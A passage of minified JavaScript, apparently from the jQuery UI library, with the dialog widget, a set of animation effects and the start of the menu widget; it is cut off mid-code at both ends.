ui-widget-content").appendTo(this.uiDialog),this._createTitlebar(),this._createButtonPane(),this.options.draggable&&t.fn.draggable&&this._makeDraggable(),this.options.resizable&&t.fn.resizable&&this._makeResizable(),this._isOpen=!1},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var e=this.options.appendTo;return e&&(e.jquery||e.nodeType)?t(e):this.document.find(e||"body").eq(0)},_destroy:function(){var t,e=this.originalPosition;this._destroyOverlay(),this.element.removeUniqueId().removeClass("ui-dialog-content ui-widget-content").css(this.originalCss).detach(),this.uiDialog.stop(!0,!0).remove(),this.originalTitle&&this.element.attr("title",this.originalTitle),t=e.parent.children().eq(e.index),t.length&&t[0]!==this.element[0]?t.before(this.element):e.parent.append(this.element)},widget:function(){return this.uiDialog},disable:t.noop,enable:t.noop,close:function(e){var i=this;this._isOpen&&this._trigger("beforeClose",e)!==!1&&(this._isOpen=!1,this._destroyOverlay(),this.opener.filter(":focusable").focus().length||t(this.document[0].activeElement).blur(),this._hide(this.uiDialog,this.options.hide,function(){i._trigger("close",e)}))},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(t,e){var i=!!this.uiDialog.nextAll(":visible").insertBefore(this.uiDialog).length;return i&&!e&&this._trigger("focus",t),i},open:function(){var e=this;return this._isOpen?(this._moveToTop()&&this._focusTabbable(),undefined):(this._isOpen=!0,this.opener=t(this.document[0].activeElement),this._size(),this._position(),this._createOverlay(),this._moveToTop(null,!0),this._show(this.uiDialog,this.options.show,function(){e._focusTabbable(),e._trigger("focus")}),this._trigger("open"),undefined)},_focusTabbable:function(){var t=this.element.find("[autofocus]");t.length||(t=this.element.find(":tabbable")),t.length||(t=this.uiDialogButtonPane.find(":tabbable")),t.length||(t=this.uiDialogTitlebarClose.filter(":tabbable")),t.length||(t=this.uiDialog),t.eq(0).focus()},_keepFocus:function(e){function i(){var e=this.document[0].activeElement,i=this.uiDialog[0]===e||t.contains(this.uiDialog[0],e);i||this._focusTabbable()}e.preventDefault(),i.call(this),this._delay(i)},_createWrapper:function(){this.uiDialog=t("<div>").addClass("ui-dialog ui-widget ui-widget-content ui-corner-all ui-front "+this.options.dialogClass).hide().attr({tabIndex:-1,role:"dialog"}).appendTo(this._appendTo()),this._on(this.uiDialog,{keydown:function(e){if(this.options.closeOnEscape&&!e.isDefaultPrevented()&&e.keyCode&&e.keyCode===t.ui.keyCode.ESCAPE)return e.preventDefault(),this.close(e),undefined;if(e.keyCode===t.ui.keyCode.TAB){var i=this.uiDialog.find(":tabbable"),s=i.filter(":first"),n=i.filter(":last");e.target!==n[0]&&e.target!==this.uiDialog[0]||e.shiftKey?e.target!==s[0]&&e.target!==this.uiDialog[0]||!e.shiftKey||(n.focus(1),e.preventDefault()):(s.focus(1),e.preventDefault())}},mousedown:function(t){this._moveToTop(t)&&this._focusTabbable()}}),this.element.find("[aria-describedby]").length||this.uiDialog.attr({"aria-describedby":this.element.uniqueId().attr("id")})},_createTitlebar:function(){var e;this.uiDialogTitlebar=t("<div>").addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(this.uiDialog),this._on(this.uiDialogTitlebar,{mousedown:function(e){t(e.target).closest(".ui-dialog-titlebar-close")||this.uiDialog.focus()}}),this.uiDialogTitlebarClose=t("<button></button>").button({label:this.options.closeText,icons:{primary:"ui-icon-closethick"},text:!1}).addClass("ui-dialog-titlebar-close").appendTo(this.uiDialogTitlebar),this._on(this.uiDialogTitlebarClose,{click:function(t){t.preventDefault(),this.close(t)}}),e=t("<span>").uniqueId().addClass("ui-dialog-title").prependTo(this.uiDialogTitlebar),this._title(e),this.uiDialog.attr({"aria-labelledby":e.attr("id")})},_title:function(t){this.options.title||t.html("&#160;"),t.text(this.options.title)},_createButtonPane:function(){this.uiDialogButtonPane=t("<div>").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),this.uiButtonSet=t("<div>").addClass("ui-dialog-buttonset").appendTo(this.uiDialogButtonPane),this._createButtons()},_createButtons:function(){var e=this,i=this.options.buttons;return this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),t.isEmptyObject(i)||t.isArray(i)&&!i.length?(this.uiDialog.removeClass("ui-dialog-buttons"),undefined):(t.each(i,function(i,s){var n,o;s=t.isFunction(s)?{click:s,text:i}:s,s=t.extend({type:"button"},s),n=s.click,s.click=function(){n.apply(e.element[0],arguments)},o={icons:s.icons,text:s.showText},delete s.icons,delete s.showText,t("<button></button>",s).button(o).appendTo(e.uiButtonSet)}),this.uiDialog.addClass("ui-dialog-buttons"),this.uiDialogButtonPane.appendTo(this.uiDialog),undefined)},_makeDraggable:function(){function e(t){return{position:t.position,offset:t.offset}}var i=this,s=this.options;this.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(s,n){t(this).addClass("ui-dialog-dragging"),i._blockFrames(),i._trigger("dragStart",s,e(n))},drag:function(t,s){i._trigger("drag",t,e(s))},stop:function(n,o){s.position=[o.position.left-i.document.scrollLeft(),o.position.top-i.document.scrollTop()],t(this).removeClass("ui-dialog-dragging"),i._unblockFrames(),i._trigger("dragStop",n,e(o))}})},_makeResizable:function(){function e(t){return{originalPosition:t.originalPosition,originalSize:t.originalSize,position:t.position,size:t.size}
}var i=this,s=this.options,n=s.resizable,o=this.uiDialog.css("position"),a="string"==typeof n?n:"n,e,s,w,se,sw,ne,nw";this.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:this.element,maxWidth:s.maxWidth,maxHeight:s.maxHeight,minWidth:s.minWidth,minHeight:this._minHeight(),handles:a,start:function(s,n){t(this).addClass("ui-dialog-resizing"),i._blockFrames(),i._trigger("resizeStart",s,e(n))},resize:function(t,s){i._trigger("resize",t,e(s))},stop:function(n,o){s.height=t(this).height(),s.width=t(this).width(),t(this).removeClass("ui-dialog-resizing"),i._unblockFrames(),i._trigger("resizeStop",n,e(o))}}).css("position",o)},_minHeight:function(){var t=this.options;return"auto"===t.height?t.minHeight:Math.min(t.minHeight,t.height)},_position:function(){var t=this.uiDialog.is(":visible");t||this.uiDialog.show(),this.uiDialog.position(this.options.position),t||this.uiDialog.hide()},_setOptions:function(s){var n=this,o=!1,a={};t.each(s,function(t,s){n._setOption(t,s),t in e&&(o=!0),t in i&&(a[t]=s)}),o&&(this._size(),this._position()),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option",a)},_setOption:function(t,e){var i,s,n=this.uiDialog;"dialogClass"===t&&n.removeClass(this.options.dialogClass).addClass(e),"disabled"!==t&&(this._super(t,e),"appendTo"===t&&this.uiDialog.appendTo(this._appendTo()),"buttons"===t&&this._createButtons(),"closeText"===t&&this.uiDialogTitlebarClose.button({label:""+e}),"draggable"===t&&(i=n.is(":data(ui-draggable)"),i&&!e&&n.draggable("destroy"),!i&&e&&this._makeDraggable()),"position"===t&&this._position(),"resizable"===t&&(s=n.is(":data(ui-resizable)"),s&&!e&&n.resizable("destroy"),s&&"string"==typeof e&&n.resizable("option","handles",e),s||e===!1||this._makeResizable()),"title"===t&&this._title(this.uiDialogTitlebar.find(".ui-dialog-title")))},_size:function(){var t,e,i,s=this.options;this.element.show().css({width:"auto",minHeight:0,maxHeight:"none",height:0}),s.minWidth>s.width&&(s.width=s.minWidth),t=this.uiDialog.css({height:"auto",width:s.width}).outerHeight(),e=Math.max(0,s.minHeight-t),i="number"==typeof s.maxHeight?Math.max(0,s.maxHeight-t):"none","auto"===s.height?this.element.css({minHeight:e,maxHeight:i,height:"auto"}):this.element.height(Math.max(0,s.height-t)),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find("iframe").map(function(){var e=t(this);return t("<div>").css({position:"absolute",width:e.outerWidth(),height:e.outerHeight()}).appendTo(e.parent()).offset(e.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(e){return t(e.target).closest(".ui-dialog").length?!0:!!t(e.target).closest(".ui-datepicker").length},_createOverlay:function(){if(this.options.modal){var e=this,i=this.widgetFullName;t.ui.dialog.overlayInstances||this._delay(function(){t.ui.dialog.overlayInstances&&this.document.bind("focusin.dialog",function(s){e._allowInteraction(s)||(s.preventDefault(),t(".ui-dialog:visible:last .ui-dialog-content").data(i)._focusTabbable())})}),this.overlay=t("<div>").addClass("ui-widget-overlay ui-front").appendTo(this._appendTo()),this._on(this.overlay,{mousedown:"_keepFocus"}),t.ui.dialog.overlayInstances++}},_destroyOverlay:function(){this.options.modal&&this.overlay&&(t.ui.dialog.overlayInstances--,t.ui.dialog.overlayInstances||this.document.unbind("focusin.dialog"),this.overlay.remove(),this.overlay=null)}}),t.ui.dialog.overlayInstances=0,t.uiBackCompat!==!1&&t.widget("ui.dialog",t.ui.dialog,{_position:function(){var e,i=this.options.position,s=[],n=[0,0];i?(("string"==typeof i||"object"==typeof i&&"0"in i)&&(s=i.split?i.split(" "):[i[0],i[1]],1===s.length&&(s[1]=s[0]),t.each(["left","top"],function(t,e){+s[t]===s[t]&&(n[t]=s[t],s[t]=e)}),i={my:s[0]+(0>n[0]?n[0]:"+"+n[0])+" "+s[1]+(0>n[1]?n[1]:"+"+n[1]),at:s.join(" ")}),i=t.extend({},t.ui.dialog.prototype.options.position,i)):i=t.ui.dialog.prototype.options.position,e=this.uiDialog.is(":visible"),e||this.uiDialog.show(),this.uiDialog.position(i),e||this.uiDialog.hide()}})}(jQuery),function(t){var e=/up|down|vertical/,i=/up|left|vertical|horizontal/;t.effects.effect.blind=function(s,n){var o,a,r,h=t(this),l=["position","top","bottom","left","right","height","width"],c=t.effects.setMode(h,s.mode||"hide"),u=s.direction||"up",d=e.test(u),p=d?"height":"width",f=d?"top":"left",g=i.test(u),m={},v="show"===c;h.parent().is(".ui-effects-wrapper")?t.effects.save(h.parent(),l):t.effects.save(h,l),h.show(),o=t.effects.createWrapper(h).css({overflow:"hidden"}),a=o[p](),r=parseFloat(o.css(f))||0,m[p]=v?a:0,g||(h.css(d?"bottom":"right",0).css(d?"top":"left","auto").css({position:"absolute"}),m[f]=v?r:a+r),v&&(o.css(p,0),g||o.css(f,r+a)),o.animate(m,{duration:s.duration,easing:s.easing,queue:!1,complete:function(){"hide"===c&&h.hide(),t.effects.restore(h,l),t.effects.removeWrapper(h),n()}})}}(jQuery),function(t){t.effects.effect.bounce=function(e,i){var s,n,o,a=t(this),r=["position","top","bottom","left","right","height","width"],h=t.effects.setMode(a,e.mode||"effect"),l="hide"===h,c="show"===h,u=e.direction||"up",d=e.distance,p=e.times||5,f=2*p+(c||l?1:0),g=e.duration/f,m=e.easing,v="up"===u||"down"===u?"top":"left",_="up"===u||"left"===u,b=a.queue(),y=b.length;for((c||l)&&r.push("opacity"),t.effects.save(a,r),a.show(),t.effects.createWrapper(a),d||(d=a["top"===v?"outerHeight":"outerWidth"]()/3),c&&(o={opacity:1},o[v]=0,a.css("opacity",0).css(v,_?2*-d:2*d).animate(o,g,m)),l&&(d/=Math.pow(2,p-1)),o={},o[v]=0,s=0;p>s;s++)n={},n[v]=(_?"-=":"+=")+d,a.animate(n,g,m).animate(o,g,m),d=l?2*d:d/2;l&&(n={opacity:0},n[v]=(_?"-=":"+=")+d,a.animate(n,g,m)),a.queue(function(){l&&a.hide(),t.effects.restore(a,r),t.effects.removeWrapper(a),i()}),y>1&&b.splice.apply(b,[1,0].concat(b.splice(y,f+1))),a.dequeue()}}(jQuery),function(t){t.effects.effect.clip=function(e,i){var s,n,o,a=t(this),r=["position","top","bottom","left","right","height","width"],h=t.effects.setMode(a,e.mode||"hide"),l="show"===h,c=e.direction||"vertical",u="vertical"===c,d=u?"height":"width",p=u?"top":"left",f={};t.effects.save(a,r),a.show(),s=t.effects.createWrapper(a).css({overflow:"hidden"}),n="IMG"===a[0].tagName?s:a,o=n[d](),l&&(n.css(d,0),n.css(p,o/2)),f[d]=l?o:0,f[p]=l?0:o/2,n.animate(f,{queue:!1,duration:e.duration,easing:e.easing,complete:function(){l||a.hide(),t.effects.restore(a,r),t.effects.removeWrapper(a),i()}})}}(jQuery),function(t){t.effects.effect.drop=function(e,i){var s,n=t(this),o=["position","top","bottom","left","right","opacity","height","width"],a=t.effects.setMode(n,e.mode||"hide"),r="show"===a,h=e.direction||"left",l="up"===h||"down"===h?"top":"left",c="up"===h||"left"===h?"pos":"neg",u={opacity:r?1:0};t.effects.save(n,o),n.show(),t.effects.createWrapper(n),s=e.distance||n["top"===l?"outerHeight":"outerWidth"](!0)/2,r&&n.css("opacity",0).css(l,"pos"===c?-s:s),u[l]=(r?"pos"===c?"+=":"-=":"pos"===c?"-=":"+=")+s,n.animate(u,{queue:!1,duration:e.duration,easing:e.easing,complete:function(){"hide"===a&&n.hide(),t.effects.restore(n,o),t.effects.removeWrapper(n),i()}})}}(jQuery),function(t){t.effects.effect.explode=function(e,i){function s(){b.push(this),b.length===u*d&&n()}function n(){p.css({visibility:"visible"}),t(b).remove(),g||p.hide(),i()}var o,a,r,h,l,c,u=e.pieces?Math.round(Math.sqrt(e.pieces)):3,d=u,p=t(this),f=t.effects.setMode(p,e.mode||"hide"),g="show"===f,m=p.show().css("visibility","hidden").offset(),v=Math.ceil(p.outerWidth()/d),_=Math.ceil(p.outerHeight()/u),b=[];for(o=0;u>o;o++)for(h=m.top+o*_,c=o-(u-1)/2,a=0;d>a;a++)r=m.left+a*v,l=a-(d-1)/2,p.clone().appendTo("body").wrap("<div></div>").css({position:"absolute",visibility:"visible",left:-a*v,top:-o*_}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:v,height:_,left:r+(g?l*v:0),top:h+(g?c*_:0),opacity:g?0:1}).animate({left:r+(g?0:l*v),top:h+(g?0:c*_),opacity:g?1:0},e.duration||500,e.easing,s)}}(jQuery),function(t){t.effects.effect.fade=function(e,i){var s=t(this),n=t.effects.setMode(s,e.mode||"toggle");s.animate({opacity:n},{queue:!1,duration:e.duration,easing:e.easing,complete:i})}}(jQuery),function(t){t.effects.effect.fold=function(e,i){var s,n,o=t(this),a=["position","top","bottom","left","right","height","width"],r=t.effects.setMode(o,e.mode||"hide"),h="show"===r,l="hide"===r,c=e.size||15,u=/([0-9]+)%/.exec(c),d=!!e.horizFirst,p=h!==d,f=p?["width","height"]:["height","width"],g=e.duration/2,m={},v={};t.effects.save(o,a),o.show(),s=t.effects.createWrapper(o).css({overflow:"hidden"}),n=p?[s.width(),s.height()]:[s.height(),s.width()],u&&(c=parseInt(u[1],10)/100*n[l?0:1]),h&&s.css(d?{height:0,width:c}:{height:c,width:0}),m[f[0]]=h?n[0]:c,v[f[1]]=h?n[1]:0,s.animate(m,g,e.easing).animate(v,g,e.easing,function(){l&&o.hide(),t.effects.restore(o,a),t.effects.removeWrapper(o),i()})}}(jQuery),function(t){t.effects.effect.highlight=function(e,i){var s=t(this),n=["backgroundImage","backgroundColor","opacity"],o=t.effects.setMode(s,e.mode||"show"),a={backgroundColor:s.css("backgroundColor")};"hide"===o&&(a.opacity=0),t.effects.save(s,n),s.show().css({backgroundImage:"none",backgroundColor:e.color||"#ffff99"}).animate(a,{queue:!1,duration:e.duration,easing:e.easing,complete:function(){"hide"===o&&s.hide(),t.effects.restore(s,n),i()}})}}(jQuery),function(t){t.effects.effect.pulsate=function(e,i){var s,n=t(this),o=t.effects.setMode(n,e.mode||"show"),a="show"===o,r="hide"===o,h=a||"hide"===o,l=2*(e.times||5)+(h?1:0),c=e.duration/l,u=0,d=n.queue(),p=d.length;for((a||!n.is(":visible"))&&(n.css("opacity",0).show(),u=1),s=1;l>s;s++)n.animate({opacity:u},c,e.easing),u=1-u;n.animate({opacity:u},c,e.easing),n.queue(function(){r&&n.hide(),i()}),p>1&&d.splice.apply(d,[1,0].concat(d.splice(p,l+1))),n.dequeue()}}(jQuery),function(t){t.effects.effect.puff=function(e,i){var s=t(this),n=t.effects.setMode(s,e.mode||"hide"),o="hide"===n,a=parseInt(e.percent,10)||150,r=a/100,h={height:s.height(),width:s.width(),outerHeight:s.outerHeight(),outerWidth:s.outerWidth()};t.extend(e,{effect:"scale",queue:!1,fade:!0,mode:n,complete:i,percent:o?a:100,from:o?h:{height:h.height*r,width:h.width*r,outerHeight:h.outerHeight*r,outerWidth:h.outerWidth*r}}),s.effect(e)},t.effects.effect.scale=function(e,i){var s=t(this),n=t.extend(!0,{},e),o=t.effects.setMode(s,e.mode||"effect"),a=parseInt(e.percent,10)||(0===parseInt(e.percent,10)?0:"hide"===o?0:100),r=e.direction||"both",h=e.origin,l={height:s.height(),width:s.width(),outerHeight:s.outerHeight(),outerWidth:s.outerWidth()},c={y:"horizontal"!==r?a/100:1,x:"vertical"!==r?a/100:1};n.effect="size",n.queue=!1,n.complete=i,"effect"!==o&&(n.origin=h||["middle","center"],n.restore=!0),n.from=e.from||("show"===o?{height:0,width:0,outerHeight:0,outerWidth:0}:l),n.to={height:l.height*c.y,width:l.width*c.x,outerHeight:l.outerHeight*c.y,outerWidth:l.outerWidth*c.x},n.fade&&("show"===o&&(n.from.opacity=0,n.to.opacity=1),"hide"===o&&(n.from.opacity=1,n.to.opacity=0)),s.effect(n)},t.effects.effect.size=function(e,i){var s,n,o,a=t(this),r=["position","top","bottom","left","right","width","height","overflow","opacity"],h=["position","top","bottom","left","right","overflow","opacity"],l=["width","height","overflow"],c=["fontSize"],u=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"],d=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"],p=t.effects.setMode(a,e.mode||"effect"),f=e.restore||"effect"!==p,g=e.scale||"both",m=e.origin||["middle","center"],v=a.css("position"),_=f?r:h,b={height:0,width:0,outerHeight:0,outerWidth:0};"show"===p&&a.show(),s={height:a.height(),width:a.width(),outerHeight:a.outerHeight(),outerWidth:a.outerWidth()},"toggle"===e.mode&&"show"===p?(a.from=e.to||b,a.to=e.from||s):(a.from=e.from||("show"===p?b:s),a.to=e.to||("hide"===p?b:s)),o={from:{y:a.from.height/s.height,x:a.from.width/s.width},to:{y:a.to.height/s.height,x:a.to.width/s.width}},("box"===g||"both"===g)&&(o.from.y!==o.to.y&&(_=_.concat(u),a.from=t.effects.setTransition(a,u,o.from.y,a.from),a.to=t.effects.setTransition(a,u,o.to.y,a.to)),o.from.x!==o.to.x&&(_=_.concat(d),a.from=t.effects.setTransition(a,d,o.from.x,a.from),a.to=t.effects.setTransition(a,d,o.to.x,a.to))),("content"===g||"both"===g)&&o.from.y!==o.to.y&&(_=_.concat(c).concat(l),a.from=t.effects.setTransition(a,c,o.from.y,a.from),a.to=t.effects.setTransition(a,c,o.to.y,a.to)),t.effects.save(a,_),a.show(),t.effects.createWrapper(a),a.css("overflow","hidden").css(a.from),m&&(n=t.effects.getBaseline(m,s),a.from.top=(s.outerHeight-a.outerHeight())*n.y,a.from.left=(s.outerWidth-a.outerWidth())*n.x,a.to.top=(s.outerHeight-a.to.outerHeight)*n.y,a.to.left=(s.outerWidth-a.to.outerWidth)*n.x),a.css(a.from),("content"===g||"both"===g)&&(u=u.concat(["marginTop","marginBottom"]).concat(c),d=d.concat(["marginLeft","marginRight"]),l=r.concat(u).concat(d),a.find("*[width]").each(function(){var i=t(this),s={height:i.height(),width:i.width(),outerHeight:i.outerHeight(),outerWidth:i.outerWidth()};f&&t.effects.save(i,l),i.from={height:s.height*o.from.y,width:s.width*o.from.x,outerHeight:s.outerHeight*o.from.y,outerWidth:s.outerWidth*o.from.x},i.to={height:s.height*o.to.y,width:s.width*o.to.x,outerHeight:s.height*o.to.y,outerWidth:s.width*o.to.x},o.from.y!==o.to.y&&(i.from=t.effects.setTransition(i,u,o.from.y,i.from),i.to=t.effects.setTransition(i,u,o.to.y,i.to)),o.from.x!==o.to.x&&(i.from=t.effects.setTransition(i,d,o.from.x,i.from),i.to=t.effects.setTransition(i,d,o.to.x,i.to)),i.css(i.from),i.animate(i.to,e.duration,e.easing,function(){f&&t.effects.restore(i,l)})})),a.animate(a.to,{queue:!1,duration:e.duration,easing:e.easing,complete:function(){0===a.to.opacity&&a.css("opacity",a.from.opacity),"hide"===p&&a.hide(),t.effects.restore(a,_),f||("static"===v?a.css({position:"relative",top:a.to.top,left:a.to.left}):t.each(["top","left"],function(t,e){a.css(e,function(e,i){var s=parseInt(i,10),n=t?a.to.left:a.to.top;return"auto"===i?n+"px":s+n+"px"})})),t.effects.removeWrapper(a),i()}})}}(jQuery),function(t){t.effects.effect.shake=function(e,i){var s,n=t(this),o=["position","top","bottom","left","right","height","width"],a=t.effects.setMode(n,e.mode||"effect"),r=e.direction||"left",h=e.distance||20,l=e.times||3,c=2*l+1,u=Math.round(e.duration/c),d="up"===r||"down"===r?"top":"left",p="up"===r||"left"===r,f={},g={},m={},v=n.queue(),_=v.length;for(t.effects.save(n,o),n.show(),t.effects.createWrapper(n),f[d]=(p?"-=":"+=")+h,g[d]=(p?"+=":"-=")+2*h,m[d]=(p?"-=":"+=")+2*h,n.animate(f,u,e.easing),s=1;l>s;s++)n.animate(g,u,e.easing).animate(m,u,e.easing);n.animate(g,u,e.easing).animate(f,u/2,e.easing).queue(function(){"hide"===a&&n.hide(),t.effects.restore(n,o),t.effects.removeWrapper(n),i()}),_>1&&v.splice.apply(v,[1,0].concat(v.splice(_,c+1))),n.dequeue()}}(jQuery),function(t){t.effects.effect.slide=function(e,i){var s,n=t(this),o=["position","top","bottom","left","right","width","height"],a=t.effects.setMode(n,e.mode||"show"),r="show"===a,h=e.direction||"left",l="up"===h||"down"===h?"top":"left",c="up"===h||"left"===h,u={};t.effects.save(n,o),n.show(),s=e.distance||n["top"===l?"outerHeight":"outerWidth"](!0),t.effects.createWrapper(n).css({overflow:"hidden"}),r&&n.css(l,c?isNaN(s)?"-"+s:-s:s),u[l]=(r?c?"+=":"-=":c?"-=":"+=")+s,n.animate(u,{queue:!1,duration:e.duration,easing:e.easing,complete:function(){"hide"===a&&n.hide(),t.effects.restore(n,o),t.effects.removeWrapper(n),i()}})}}(jQuery),function(t){t.effects.effect.transfer=function(e,i){var s=t(this),n=t(e.to),o="fixed"===n.css("position"),a=t("body"),r=o?a.scrollTop():0,h=o?a.scrollLeft():0,l=n.offset(),c={top:l.top-r,left:l.left-h,height:n.innerHeight(),width:n.innerWidth()},u=s.offset(),d=t("<div class='ui-effects-transfer'></div>").appendTo(document.body).addClass(e.className).css({top:u.top-r,left:u.left-h,height:s.innerHeight(),width:s.innerWidth(),position:o?"fixed":"absolute"}).animate(c,e.duration,e.easing,function(){d.remove(),i()})}}(jQuery),function(t){t.widget("ui.menu",{version:"1.10.3",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-carat-1-e"},menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.element.uniqueId().addClass("ui-menu ui-widget ui-widget-content ui-corner-all").toggleClass("ui-menu-icons",!!this.element.find(".ui-icon").length).attr({role:this.options.role,tabIndex:0}).bind("click"+this.eventNamespace,t.proxy(function(t){this.options.disabled&&t.preventDefault()},this)),this.options.disabled&&this.element.addClass("ui-state-disabled").attr("aria-disabled","true"),this._on({"mousedown .ui-menu-item > a":function(t){t.preventDefault()},"click .ui-state-disabled > a":function(t){t.preventDefault()},"click .ui-menu-item:has(a)":function(e){var i=t(e.target).closest(".ui-menu-item");!this.mouseHandled&&i.not(".ui-state-disabled").length&&(this.mouseHandled=!0,this.select(e),i.has(".ui-menu").length?this.expand(e):this.element.is(":focus")||(this.element.trigger("focus",[!0]),this.active&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":function(e){var i=t(e.currentTarget);i.siblings().children(".ui-state-active").removeClass("ui-state-active"),this.focus(e,i)},mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(t,e){var i=this.active||this.element.children(".ui-menu-item").eq(0);e||this.focus(t,i)},blur:function(e){this._delay(function(){t.contains(this.element[0],this.document[0].activeElement)||this.collapseAll(e)})},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(e){t(e.target).closest(".ui-menu").length||this.collapseAll(e),this.mouseHandled=!1}})},_destroy:function(){this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeClass("ui-menu ui-widget ui-widget-content ui-corner-all ui-menu-icons").removeAttr("role").removeAttr("tabIndex").removeAttr("aria-labelledby").removeAttr("aria-expanded").removeAttr("aria-hidden").removeAttr("aria-disabled").removeUniqueId().show(),this.element.find(".ui-menu-item").removeClass("ui-menu-item").removeAttr("role").removeAttr("aria-disabled").children("a").removeUniqueId().removeClass("ui-corner-all ui-state-hover").removeAttr("tabIndex").removeAttr("role").removeAttr("aria-haspopup").children().each(function(){var e=t(this);e.data("ui-menu-submenu-carat")&&e.remove()}),this.element.find(".ui-menu-divider").removeClass("ui-menu-divider ui-widget-content")},_keydown:function(e){function i(t){return t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")}var s,n,o,a,r,h=!0;switch(e.keyCode){case t.ui.keyCode.PAGE_UP:this.previousPage(e);break;case t.ui.keyCode.PAGE_DOWN:this.nextPage(e);break;case t.ui.keyCode.HOME:this._move("first","first",e);break;case t.ui.keyCode.END:this._move("last","last",e);break;case t.ui.keyCode.UP:this.previous(e);break;case t.ui.keyCode.DOWN:this.next(e);break;case t.ui.keyCode.LEFT:this.collapse(e);break;case t.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(e);break;case t.ui.keyCode.ENTER:case t.ui.keyCode.SPACE:this._activate(e);break;case t.ui.keyCode.ESCAPE:this.collapse(e);break;default:h=!1,n=this.previousFilter||"",o=String.fromCharCode(e.keyCode),a=!1,clearTimeout(this.filterTimer),o===n?a=!0:o=n+o,r=RegExp("^"+i(o),"i"),s=this.activeMenu.children(".ui-menu-item").filter(function(){return r.test(t(this).children("a").text())}),s=a&&-1!==s.index(this.active.next())?this.active.nextAll(".ui-menu-item"):s,s.length||(o=String.fromCharCode(e.keyCode),r=RegExp("^"+i(o),"i"),s=this.activeMenu.children(".ui-menu-item").filter(function(){return r.test(t(this).children("a").text())})),s.length?(this.focus(e,s),s.length>1?(this.previousFilter=o,this.filterTimer=this._delay(function(){delete this.previousFilter},1e3)):delete this.previousFilter):delete this.previousFilter}h&&e.preventDefault()},_activate:function(t){this.active.is(".ui-state-disabled")||(this.active.children("a[aria-haspopup='true']").length?this.expand(t):this.select(t))},refresh:function(){var e,i=this.options.icons.submenu,s=this.element.find(this.options.menus);s.filter(":not(.ui-menu)").addClass("ui-menu ui-widget ui-widget-content ui-corner-all").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each(function(){var e=t(this),s=e.prev("a"),n=t("<span>").addClass("ui-menu-icon ui-icon "+i).data("ui-menu-submenu-carat",!0);s.attr("aria-haspopup","true").prepend(n),e.attr("aria-labelledby",s.attr("id"))}),e=s.add(this.element),e.children(":not(.ui-menu-item):has(a)").addClass("ui-menu-item").attr("role","presentation").children("a").uniqueId().addClass("ui-corner-all").attr({tabIndex:-1,role:this._itemRole()}),e.children(":not(.ui-menu-item)").each(function(){var e=t(this);/[^\-\u2014\u2013\s]/.test(e.text())||e.addClass("ui-widget-content ui-menu-divider")}),e.children(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!t.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(t,e){"icons"===t&&this.element.find(".ui-menu-icon").removeClass(this.options.icons.submenu).addClass(e.submenu),this._super(t,e)},focus:function(t,e){var i,s;this.blur(t,t&&"focus"===t.type),this._scrollIntoView(e),this.active=e.first(),s=this.active.children("a").addClass("ui-state-focus"),this.options.role&&this.element.attr("aria-activedescendant",s.attr("id")),this.active.parent().closest(".ui-menu-item").children("a:first").addClass("ui-state-active"),t&&"keydown"===t.type?this._close():this.timer=this._delay(function(){this._close()},this.delay),i=e.children(".ui-menu"),i.length&&/^mouse/.test(t.type)&&this._startOpening(i),this.activeMenu=e.parent(),this._trigger("focus",t,{item:e})},_scrollIntoView:function(e){var i,s,n,o,a,r;this._hasScroll()&&(i=parseFloat(t.css(this.activeMenu[0],"borderTopWidth"))||0,s=parseFloat(t.css(this.activeMenu[0],"paddingTop"))||0,n=e.offset().top-this.activeMenu.offset().top-i-s,o=this.activeMenu.scrollTop(),a=this.activeMenu.height(),r=e.height(),0>n?this.activeMenu.scrollTop(o+n):n+r>a&&this.activeMenu.scrollTop(o+n-a+r))},blur:function(t,e){e||clearTimeout(this.timer),this.active&&(this.active.children("a").removeClass("ui-state-focus"),this.active=null,this._trigger("blur",t,{item:this.active}))},_startOpening:function(t){clearTimeout(this.timer),"true"===t.attr("aria-hidden")&&(this.timer=this._delay(function(){this._close(),this._open(t)},this.delay))},_open:function(e){var i=t.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(e.parents(".ui-menu")).hide().attr("aria-hidden","true"),e.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(i)},collapseAll:function(e,i){clearTimeout(this.timer),this.timer=this._delay(function(){var s=i?this.element:t(e&&e.target).closest(this.element.find(".ui-menu"));s.length||(s=this.element),this._close(s),this.blur(e),this.activeMenu=s},this.delay)},_close:function(t){t||(t=this.active?this.active.parent():this.element),t.find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false").end().find("a.ui-state-active").removeClass("ui-state-active")},collapse:function(t){var 